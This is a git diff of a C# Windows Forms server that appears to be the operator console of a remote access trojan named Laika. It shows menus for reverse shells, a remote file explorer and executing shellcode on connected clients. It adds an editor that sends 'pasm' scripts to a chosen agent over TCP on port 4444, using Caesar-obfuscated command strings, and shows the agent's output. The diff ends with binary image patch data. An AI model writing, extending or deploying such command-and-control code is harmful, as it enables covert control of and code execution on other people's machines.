System.Drawing.SystemColors.Control; + dataGridViewCellStyle7.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridView1.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle7; this.dataGridView1.ColumnHeadersHeight = 30; this.dataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; this.dataGridView1.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Id, this.IPAddress}); - dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft; - dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Window; - dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.ControlText; - dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; - this.dataGridView1.DefaultCellStyle = dataGridViewCellStyle2; + dataGridViewCellStyle8.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft; + dataGridViewCellStyle8.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle8.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle8.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle8.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle8.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle8.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dataGridView1.DefaultCellStyle = dataGridViewCellStyle8; this.dataGridView1.EnableHeadersVisualStyles = false; this.dataGridView1.GridColor = System.Drawing.SystemColors.ScrollBar; this.dataGridView1.Location = new System.Drawing.Point(12, 28); @@ -132,12 +137,12 @@ this.dataGridView1.ReadOnly = true; this.dataGridView1.RowHeadersVisible = false; this.dataGridView1.RowHeadersWidthSizeMode = System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode.DisableResizing; - dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; - this.dataGridView1.RowsDefaultCellStyle = dataGridViewCellStyle3; + dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + this.dataGridView1.RowsDefaultCellStyle = dataGridViewCellStyle9; this.dataGridView1.RowTemplate.ReadOnly = true; this.dataGridView1.RowTemplate.Resizable = System.Windows.Forms.DataGridViewTriState.False; this.dataGridView1.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.dataGridView1.Size = new System.Drawing.Size(567, 302); + this.dataGridView1.Size = new System.Drawing.Size(567, 295); this.dataGridView1.TabIndex = 1; this.dataGridView1.TabStop = false; this.dataGridView1.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGridView1_CellContentClick); @@ -164,15 +169,40 @@ this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.shellToolStripMenuItem, this.fileExplorerToolStripMenuItem, - this.shellcodeToolStripMenuItem}); + this.shellcodeToolStripMenuItem, + this.executePasmScriptToolStripMenuItem}); this.contextMenuStrip1.Name = "contextMenuStrip1"; - this.contextMenuStrip1.Size = new System.Drawing.Size(169, 70); + this.contextMenuStrip1.Size = new System.Drawing.Size(189, 92); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(10, 325); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(61, 13); + this.label1.TabIndex = 2; + this.label1.Text = "Listening at"; + // + // pasmToolStripMenuItem + // + this.pasmToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.editorToolStripMenuItem}); + this.pasmToolStripMenuItem.Name = "pasmToolStripMenuItem"; + this.pasmToolStripMenuItem.Size = new System.Drawing.Size(48, 20); + this.pasmToolStripMenuItem.Text = "pasm"; + // + // editorToolStripMenuItem + // + this.editorToolStripMenuItem.Name = "editorToolStripMenuItem"; + this.editorToolStripMenuItem.Size = new System.Drawing.Size(105, 22); + this.editorToolStripMenuItem.Text = "Editor"; + this.editorToolStripMenuItem.Click += new System.EventHandler(this.editorToolStripMenuItem_Click); // // shellToolStripMenuItem // this.shellToolStripMenuItem.Image = global::Server.Properties.Resources.terminal; this.shellToolStripMenuItem.Name = "shellToolStripMenuItem"; - this.shellToolStripMenuItem.Size = new System.Drawing.Size(168, 22); + this.shellToolStripMenuItem.Size = new System.Drawing.Size(188, 22); this.shellToolStripMenuItem.Text = "Reverse shell"; this.shellToolStripMenuItem.Click += new System.EventHandler(this.ReverseShellToolStripMenuItem_Click); // @@ -180,7 +210,7 @@ // this.fileExplorerToolStripMenuItem.Image = global::Server.Properties.Resources.folder; this.fileExplorerToolStripMenuItem.Name = "fileExplorerToolStripMenuItem"; - this.fileExplorerToolStripMenuItem.Size = new System.Drawing.Size(168, 22); + this.fileExplorerToolStripMenuItem.Size = new System.Drawing.Size(188, 22); this.fileExplorerToolStripMenuItem.Text = "File Explorer"; this.fileExplorerToolStripMenuItem.Click += new System.EventHandler(this.fileExplorerToolStripMenuItem_Click); // @@ -188,19 +218,30 @@ // this.shellcodeToolStripMenuItem.Image = global::Server.Properties.Resources.execute; this.shellcodeToolStripMenuItem.Name = "shellcodeToolStripMenuItem"; - this.shellcodeToolStripMenuItem.Size = new System.Drawing.Size(168, 22); + this.shellcodeToolStripMenuItem.Size = new System.Drawing.Size(188, 22); this.shellcodeToolStripMenuItem.Text = "Execute shellcode"; this.shellcodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteShellcodeToolStripMenuItem_Click); // + // executePasmScriptToolStripMenuItem + // + this.executePasmScriptToolStripMenuItem.Image = global::Server.Properties.Resources.scenario; + this.executePasmScriptToolStripMenuItem.Name = "executePasmScriptToolStripMenuItem"; + this.executePasmScriptToolStripMenuItem.Size = new System.Drawing.Size(188, 22); + this.executePasmScriptToolStripMenuItem.Text = "Execute a pasm script"; + this.executePasmScriptToolStripMenuItem.Click += new System.EventHandler(this.executePasmScriptToolStripMenuItem_Click); + // // Menu // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.AutoScroll = true; this.ClientSize = new System.Drawing.Size(591, 342); + this.Controls.Add(this.label1); this.Controls.Add(this.dataGridView1); this.Controls.Add(this.menuStrip1); this.MainMenuStrip = this.menuStrip1; + this.MaximizeBox = false; + this.MaximumSize = new System.Drawing.Size(607, 381); this.MinimumSize = new System.Drawing.Size(607, 381); this.Name = "Menu"; this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Show; @@ -229,6 +270,10 @@ private System.Windows.Forms.ToolStripMenuItem shellToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem fileExplorerToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem shellcodeToolStripMenuItem; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.ToolStripMenuItem pasmToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem editorToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem executePasmScriptToolStripMenuItem; } } diff --git a/Server/Menu.cs b/Server/Menu.cs index ce8eb6a..ff74747 100644 --- a/Server/Menu.cs +++ b/Server/Menu.cs @@ -11,6 +11,7 @@ using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Threading; +using System.Runtime.CompilerServices; namespace Server { @@ -24,11 +25,13 @@ namespace Server public static TcpListener server; public static int CLIENT_ID; public static List CONNECT_CLIENTS = new List(); + public static string localip; + public static int localport; public static void ServerStart() { - string localIPAddress = "192.168.56.1";//Dns.GetHostEntry(Dns.GetHostName()).AddressList[0].ToString(); - int port = 4444; - server = new TcpListener(System.Net.IPAddress.Parse(localIPAddress), port); + localip = Dns.GetHostEntry(Dns.GetHostName()).AddressList.FirstOrDefault(ip => ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork).ToString(); + localport = 4444; + server = new TcpListener(System.Net.IPAddress.Parse(localip), localport); server.Start(); } public static void ServerStop() @@ -48,7 +51,7 @@ namespace Server { continue; } - client.Client.Blocking = false; + client.Client.Blocking = true; for (int i = 0; i < dataGridView1.Rows.Count; i++) { if (dataGridView1.Rows[i].Cells[1].Value.ToString() == client.Client.RemoteEndPoint.ToString().Split(':')[0]) @@ -133,6 +136,7 @@ namespace Server private void Form1_Load(object sender, EventArgs e) { dataGridView1.ClearSelection(); + label1.Text = "Listening at " + localip + ":" + localport.ToString(); } private void toolStripMenuItem1_Click(object sender, EventArgs e) @@ -227,8 +231,18 @@ namespace Server { MessageBox.Show("Client timed out."); } + } - c.Client.Blocking = false; + private void editorToolStripMenuItem_Click(object sender, EventArgs e) + { + PasmEditor pasm = new PasmEditor(false); + pasm.Show(this); + } + + private void executePasmScriptToolStripMenuItem_Click(object sender, EventArgs e) + { + PasmEditor pasm = new PasmEditor(true); + pasm.Show(this); } } } diff --git a/Server/PasmEditor.Designer.cs b/Server/PasmEditor.Designer.cs new file mode 100644 index 0000000..4e04671 --- /dev/null +++ b/Server/PasmEditor.Designer.cs @@ -0,0 +1,193 @@ +namespace Server +{ + partial class PasmEditor + { + ///

+ /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.menuStrip1 = new System.Windows.Forms.MenuStrip(); + this.fileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.newCTRLNToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.openToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.saveToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.saveAsCTRLMajSToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.closeCTRLToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.codeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.executeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.richTextBox1 = new System.Windows.Forms.RichTextBox(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.splitter1 = new System.Windows.Forms.Splitter(); + this.menuStrip1.SuspendLayout(); + this.SuspendLayout(); + // + // menuStrip1 + // + this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.fileToolStripMenuItem, + this.codeToolStripMenuItem}); + this.menuStrip1.Location = new System.Drawing.Point(0, 0); + this.menuStrip1.Name = "menuStrip1"; + this.menuStrip1.Size = new System.Drawing.Size(800, 24); + this.menuStrip1.TabIndex = 0; + this.menuStrip1.Text = "menuStrip1"; + // + // fileToolStripMenuItem + // + this.fileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.newCTRLNToolStripMenuItem, + this.openToolStripMenuItem, + this.saveToolStripMenuItem, + this.saveAsCTRLMajSToolStripMenuItem, + this.closeCTRLToolStripMenuItem}); + this.fileToolStripMenuItem.Name = "fileToolStripMenuItem"; + this.fileToolStripMenuItem.Size = new System.Drawing.Size(37, 20); + this.fileToolStripMenuItem.Text = "File"; + // + // newCTRLNToolStripMenuItem + // + this.newCTRLNToolStripMenuItem.Name = "newCTRLNToolStripMenuItem"; + this.newCTRLNToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.N))); + this.newCTRLNToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.newCTRLNToolStripMenuItem.Text = "New"; + this.newCTRLNToolStripMenuItem.Click += new System.EventHandler(this.newCTRLNToolStripMenuItem_Click); + // + // openToolStripMenuItem + // + this.openToolStripMenuItem.Name = "openToolStripMenuItem"; + this.openToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.O))); + this.openToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.openToolStripMenuItem.Text = "Open"; + this.openToolStripMenuItem.Click += new System.EventHandler(this.openToolStripMenuItem_Click); + // + // saveToolStripMenuItem + // + this.saveToolStripMenuItem.Name = "saveToolStripMenuItem"; + this.saveToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.S))); + this.saveToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.saveToolStripMenuItem.Text = "Save"; + this.saveToolStripMenuItem.Click += new System.EventHandler(this.saveToolStripMenuItem_Click); + // + // saveAsCTRLMajSToolStripMenuItem + // + this.saveAsCTRLMajSToolStripMenuItem.Name = "saveAsCTRLMajSToolStripMenuItem"; + this.saveAsCTRLMajSToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)(((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.Shift) + | System.Windows.Forms.Keys.S))); + this.saveAsCTRLMajSToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.saveAsCTRLMajSToolStripMenuItem.Text = "Save as"; + this.saveAsCTRLMajSToolStripMenuItem.Click += new System.EventHandler(this.saveAsCTRLMajSToolStripMenuItem_Click); + // + // closeCTRLToolStripMenuItem + // + this.closeCTRLToolStripMenuItem.Name = "closeCTRLToolStripMenuItem"; + this.closeCTRLToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.W))); + this.closeCTRLToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.closeCTRLToolStripMenuItem.Text = "Close"; + this.closeCTRLToolStripMenuItem.Click += new System.EventHandler(this.closeCTRLToolStripMenuItem_Click); + // + // codeToolStripMenuItem + // + this.codeToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.executeToolStripMenuItem}); + this.codeToolStripMenuItem.Name = "codeToolStripMenuItem"; + this.codeToolStripMenuItem.Size = new System.Drawing.Size(47, 20); + this.codeToolStripMenuItem.Text = "Code"; + // + // executeToolStripMenuItem + // + this.executeToolStripMenuItem.Name = "executeToolStripMenuItem"; + this.executeToolStripMenuItem.Size = new System.Drawing.Size(115, 22); + this.executeToolStripMenuItem.Text = "Execute"; + this.executeToolStripMenuItem.Click += new System.EventHandler(this.executeToolStripMenuItem_Click); + // + // richTextBox1 + // + this.richTextBox1.AcceptsTab = true; + this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Top; + this.richTextBox1.EnableAutoDragDrop = true; + this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.richTextBox1.Location = new System.Drawing.Point(0, 24); + this.richTextBox1.Name = "richTextBox1"; + this.richTextBox1.Size = new System.Drawing.Size(800, 370); + this.richTextBox1.TabIndex = 1; + this.richTextBox1.Text = ""; + this.richTextBox1.TextChanged += new System.EventHandler(this.richTextBox1_TextChanged); + // + // textBox1 + // + this.textBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.textBox1.Location = new System.Drawing.Point(0, 394); + this.textBox1.Multiline = true; + this.textBox1.Name = "textBox1"; + this.textBox1.ReadOnly = true; + this.textBox1.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.textBox1.Size = new System.Drawing.Size(800, 56); + this.textBox1.TabIndex = 2; + // + // splitter1 + // + this.splitter1.BackColor = System.Drawing.SystemColors.ScrollBar; + this.splitter1.Dock = System.Windows.Forms.DockStyle.Top; + this.splitter1.Location = new System.Drawing.Point(0, 394); + this.splitter1.Name = "splitter1"; + this.splitter1.Size = new System.Drawing.Size(800, 5); + this.splitter1.TabIndex = 3; + this.splitter1.TabStop = false; + // + // PasmEditor + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.splitter1); + this.Controls.Add(this.textBox1); + this.Controls.Add(this.richTextBox1); + this.Controls.Add(this.menuStrip1); + this.MainMenuStrip = this.menuStrip1; + this.Name = "PasmEditor"; + this.Text = "pasm editor - New File"; + this.menuStrip1.ResumeLayout(false); + this.menuStrip1.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.MenuStrip menuStrip1; + private System.Windows.Forms.ToolStripMenuItem fileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem openToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem saveToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem saveAsCTRLMajSToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem newCTRLNToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem closeCTRLToolStripMenuItem; + private System.Windows.Forms.RichTextBox richTextBox1; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.Splitter splitter1; + private System.Windows.Forms.ToolStripMenuItem codeToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem executeToolStripMenuItem; + } +} \ No newline at end of file diff --git a/Server/PasmEditor.cs b/Server/PasmEditor.cs new file mode 100644 index 0000000..1e6348f --- /dev/null +++ b/Server/PasmEditor.cs @@ -0,0 +1,189 @@ +using System; +using System.IO; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using System.Net.Sockets; +using System.Threading; +using static System.Windows.Forms.VisualStyles.VisualStyleElement; +using System.Runtime.InteropServices; +using System.Text.RegularExpressions; +using System.Xml; + +namespace Server +{ + public partial class PasmEditor : Form + { + private static string filepath = ""; + private static bool is_executing = false; + public PasmEditor(bool is_from_right_click) + { + InitializeComponent(); + executeToolStripMenuItem.Enabled = is_from_right_click; + richTextBox1.DragDrop += new DragEventHandler(richTextBox1_DragDrop); + } + + private void newCTRLNToolStripMenuItem_Click(object sender, EventArgs e) + { + richTextBox1.Text = ""; + filepath = ""; + this.Text = "pasm editor - New File"; + } + + private void openToolStripMenuItem_Click(object sender, EventArgs e) + { + OpenFileDialog openFileDialog = new OpenFileDialog + { + Filter = "PASM source files (*.pasm)|*.pasm", + Title = "Select your PASM source code file." + }; + + if (openFileDialog.ShowDialog() != DialogResult.OK) + return; + + string filePath = openFileDialog.FileName; + if (filePath == null) return; + + richTextBox1.LoadFile(filePath, RichTextBoxStreamType.PlainText); + filepath = filePath; + + this.Text = "pasm editor - " + Path.GetFileName(filePath); + } + + private void saveToolStripMenuItem_Click(object sender, EventArgs e) + { + if (filepath == "") + { + saveAsCTRLMajSToolStripMenuItem_Click(sender, e); + return; + } + richTextBox1.SaveFile(filepath, RichTextBoxStreamType.PlainText); + } + + private void saveAsCTRLMajSToolStripMenuItem_Click(object sender, EventArgs e) + { + SaveFileDialog saveFileDialog = new SaveFileDialog + { + Filter = "PASM source files (*.pasm)|*.pasm", + Title = "Save as" + }; + + if (saveFileDialog.ShowDialog() != DialogResult.OK) + return; + + string filePath = saveFileDialog.FileName; + if (filePath == null) return; + + richTextBox1.SaveFile(filePath, RichTextBoxStreamType.PlainText); + filepath = filePath; + } + + private void closeCTRLToolStripMenuItem_Click(object sender, EventArgs e) + { + richTextBox1.Text = ""; + filepath = ""; + this.Text = "pasm editor - New File"; + } + + void richTextBox1_DragDrop(object sender, DragEventArgs e) + { + object filename = e.Data.GetData("FileDrop"); + if (filename != null) + { + var list = filename as string[]; + + if (list != null && !string.IsNullOrWhiteSpace(list[0])) + { + richTextBox1.Clear(); + richTextBox1.LoadFile(list[0], RichTextBoxStreamType.PlainText); + filepath = list[0]; + this.Text = "pasm editor - " + Path.GetFileName(filepath); + } + } + e.Effect = DragDropEffects.None; + } + + private void execute_script() + { + is_executing = true; + TcpClient c = Server.Menu.CONNECT_CLIENTS[Server.Menu.CLIENT_ID]; + c.ReceiveTimeout = 10000; + c.Client.Blocking = true; + + try + { + NetworkStream stream = c.GetStream(); + + byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("pasm")); + stream.Write(Message, 0, Message.Length); + + string fileContent = File.ReadAllText(filepath); + byte[] fileContentBytes = Encoding.UTF8.GetBytes(fileContent); + stream.Write(fileContentBytes, 0, fileContentBytes.Length); + + byte[] buffer = new byte[2048]; + int bytesRead; + + textBox1.Text += "\r\n\r\nLaika: script sent\r\n\r\n"; + + while (true) + { + bytesRead = stream.Read(buffer, 0, buffer.Length); + string receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead); + + if (receivedData == "fail") + { + textBox1.Text += "Agent failed to execute the script due to an unknown error.\n"; + textBox1.SelectionStart = textBox1.TextLength; + textBox1.ScrollToCaret(); + break; + } + + textBox1.Text += receivedData.Replace(Utils.CAESAR("Laika: end of script"), "").Replace("\n", "\r\n"); + + if (receivedData.Contains(Utils.CAESAR("Laika: end of script"))) + { + textBox1.Text += "\r\n\r\nLaika: end of script\r\n\r\n"; + textBox1.SelectionStart = textBox1.TextLength; + textBox1.ScrollToCaret(); + break; + } + + textBox1.SelectionStart = textBox1.TextLength; + textBox1.ScrollToCaret(); + this.Update(); + } + } + catch + { + MessageBox.Show("Client timed out."); + } + + is_executing = false; + executeToolStripMenuItem.Enabled = true; + } + private void executeToolStripMenuItem_Click(object sender, EventArgs e) + { + if (is_executing) + return; + + Thread t = new Thread(execute_script); + t.Start(); + + executeToolStripMenuItem.Enabled = false; + } + + private void richTextBox1_TextChanged(object sender, EventArgs e) + { + if (!this.Text.Contains("*")) + { + this.Text += "*"; + } + } + } +} diff --git a/Server/PasmEditor.resx b/Server/PasmEditor.resx new file mode 100644 index 0000000..d5494e3 --- /dev/null +++ b/Server/PasmEditor.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + \ No newline at end of file diff --git a/Server/Program.cs b/Server/Program.cs index 2e792e5..27bd02f 100644 --- a/Server/Program.cs +++ b/Server/Program.cs @@ -105,7 +105,6 @@ namespace Server finally { ClearSocketData(c); - c.Client.Blocking = false; if (shell != null) { shell.Close(); @@ -123,7 +122,6 @@ namespace Server byte[] message = Encoding.UTF8.GetBytes(Utils.CAESAR("exit\n")); stream.Write(message, 0, message.Length); ClearSocketData(c); - c.Client.Blocking = false; } catch { } OPENED = false; diff --git a/Server/Properties/Resources.Designer.cs b/Server/Properties/Resources.Designer.cs index 8e58f1c..4f00da0 100644 --- a/Server/Properties/Resources.Designer.cs +++ b/Server/Properties/Resources.Designer.cs @@ -120,6 +120,16 @@ namespace Server.Properties { } } + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap scenario { + get { + object obj = ResourceManager.GetObject("scenario", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// diff --git a/Server/Properties/Resources.resx b/Server/Properties/Resources.resx index ab9aad9..34048d9 100644 --- a/Server/Properties/Resources.resx +++ b/Server/Properties/Resources.resx @@ -118,8 +118,8 @@ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - ..\Resources\file.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\up_arrow.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -136,13 +136,16 @@ ..\Resources\folder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\download.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\Resources\upload.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\up_arrow.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\download.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\file.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\scenario.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a \ No newline at end of file diff --git a/Server/Resources/scenario.png b/Server/Resources/scenario.png new file mode 100644 index 0000000000000000000000000000000000000000..90569a4dac076347aaf71715de0e1b6c583057dd GIT binary patch literal 12306 zcmd72cT|&0*Ef760U|XNDN-$zBVFlIf>Hz0K~QOmROv{OmLMJ!=|~p=AxM=byv&04G^Gr!rhXU{G(vv;hiu^ux6F9QGo%ou%b za{z!tU*W(BI_P6JWb_yGK@)HVV|fDl3qNt^G4z|>SO0nd0I>8N|HINHSoomEQ}=Xi z?pgS_+zYzP6HV2%a$Rz>odXaqE->)?V*m~ z;On8A9Zr|oF2mRq9+;V>@MzL7_Y|Phc|6^|xjqo7bv)NgksQ{J)@E~OpgYNEPV?r< zg|majl5Nsnnf5{XvqFnszHQVssSoAuf6U%*cc|Wsds|mBkSjO4I53cX22W|E3!-b} zP4L1oNBzJB>NyFQ`={P;5^y|WLnlcmNGAx}pydLvG#h|7!kfk$@J5ERr6(w!w1YMD zv(_-yjJv5JLd0vX-6hR~J-3t3ugCH4S zwk;>(BQUUb?0q+l=HX|KkU_UKR$FdN|GEp&lgLkW1qq*5ETO)U26bO~Uz%mXPT|1e zaH1sB1St{qb6dgkAv)lob*q=+)-@s%5pXp23=}TojES1TH6`y|Zh2CF#;m9r{;!=3 z9W}e&FG=`(z7Dtzj=TL^6)g(Pygsvao~W-zO|>kE!&Fp_Yg^N_)BdaQ2tF(3HM08F zA$6sJbE|h4?O?DK)NN1GdP{(~1FjZIoW;P2+@KlgQzTAg&^%aYwmq@NXUB#i9DU{| z8xpJ;u$*Qv4qQ+ehc9nrfnI8ko8p!@LCGo-P`l>(^$XmsWDJKzvd~vO5_S)*Iwyiq z8n-H-*F5kv_~kK{H_VwLJos(~FXWA`Dw6eq)qjwS$|trRrdk$`;ku)yq8t{b2WSe^ z^B8RbPkv}x^I2V7w7$eH`n_FpfADEvY4;BpjQKp;igrY$$5J}NivxAJx_wv zmz@fVp%KtukMtE>jy1!WAFLbw!f%OK9sVr}%unRiH&nMBV9cA^d9w6$s!z1CnO^^d zs5&hIOT};8&)ubrC(#|o#UQKWJTAh+5i-=&QRmlDK2JM^WLY_I{^2=kKQO7SUh0I^ z*}F{NGqZrSud>AT;q+u-h2AQ#i{(2vnMreJ9kA6=4cfm+Hx1a*+cFM_MKFeG)Ubw} zt@1FJ@PgU)B2vv`@s8I;-yNxF=9s?Rw56U{Z`C%VRS5$Bv;9mR-c zU@q@!-pB=}tP`c#3(3;djt6s@U@YECYAU%$znJH2gp)=n%aT&wY4u&o1tL%$v3_5H zU@tC28)+O`Bi-6@*c*+1s4KO@Mlz|2B)Nh&qogV}*)b!#L8Qe8kt731iJ8kcQ|Y~w zZ!FAnHWqy(b1r|?Z0N~LOHcoT3WtU0CVotoKi3AJ*w8Xpl`?>QcwSzSoQs<)p}aey z=jVs3B!tQ(tsl>{TJ;1Yt{91JAdFAXxIR7UqqxOLT8vrl=>U=L3%xF@$qS8W_F0pW zSUn7iuH09Q6?@T$6NM0it-7utFo*Y1+dJKs+o!jFrfqlM3M6*mtv)VAJ`;~j^!dr@ zb(27RtdSxbw@EsTD2r7*qs}a(u6LDdR!lwJAx8=~@_4hWj3g5fi2JVkh|J+u*o+K` z=zM9&`>*xmd@<1{s+h2xv<-l;`e^u2#Y|ForqlEm^&$DGYoT(|u8{|3aM#oE{C2?G ze$o}kxp1TEnM>eu&(Bru?d5PIYZfj1xI>{yE~nF}3|!*v08WmrJ}|7Z9i0v^+#Q$0T$4x=jQ=AB)7gKig!bnWRkI6 z%c``SVzBK`f?%~kh|4D~rIB8FpVhr;7q416MH*WpO6*0hU{WW+9Fucz^N2;9Y#j0C z6D-n*;>Q!G7d800(FSq<{I=M8n`uThDW3olD>nzyVnVIWRVD0xwHrrHpehmHJ~(#z z<2fqLa*9U7ea(eNgYr);JwpQO1ew7@xuyo;si)U0ijoYI>g^6z?mw%DT+&a>7vLb)6D6XEs!b&@8XU!+g{Ly 